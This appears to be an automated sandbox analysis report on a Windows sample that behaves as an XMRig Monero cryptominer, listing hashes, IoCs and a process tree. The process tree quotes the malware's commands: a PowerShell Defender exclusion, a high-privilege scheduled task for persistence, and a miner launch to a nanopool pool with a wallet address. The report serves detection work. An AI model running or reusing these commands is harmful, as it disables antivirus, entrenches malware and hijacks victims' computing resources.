Analysis
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max time kernel
91s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
01-01-2023 15:10
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
General
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Target
file.exe
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Size
883KB
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MD5
1f94ec704a0cf3f5797e538d69e26318
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SHA1
b15ada6f73e6d21add6abc46a8e8e5a0a63bbc28
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SHA256
dc27f1a2e3285428ddd71705f053ba1fab028608a08a08824720484c30b1ec0e
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SHA512
c848c94bd832e7ff8bed30d896838a38b35f22bb74048dec1a19d5032b867732e6de01b334eb9baafa9e6853dc04e1101d763d411f7f14c9634ae3a8efe0d210
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SSDEEP
12288:ztVSX3x7FRSJWeOkDPHAgybo+3BouhTRgfHnnbmjwnAD23XIkWK9v8pEIzecVSRu:ztVSn52IxbPeBnblXJRvMFeCJn
Malware Config
Signatures
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XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/2448-158-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2448-159-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/2448-160-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2448-161-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2448-163-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/2448-165-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation file.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3064 set thread context of 2448 3064 file.exe 94 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1608 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1628 powershell.exe 1628 powershell.exe 3064 file.exe 3064 file.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3064 file.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeLockMemoryPrivilege 2448 vbc.exe Token: SeLockMemoryPrivilege 2448 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2448 vbc.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3064 wrote to memory of 1628 3064 file.exe 82 PID 3064 wrote to memory of 1628 3064 file.exe 82 PID 3064 wrote to memory of 1476 3064 file.exe 90 PID 3064 wrote to memory of 1476 3064 file.exe 90 PID 1476 wrote to memory of 1608 1476 cmd.exe 92 PID 1476 wrote to memory of 1608 1476 cmd.exe 92 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94 PID 3064 wrote to memory of 2448 3064 file.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"3⤵
- Creates scheduled task(s)
PID:1608
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2448
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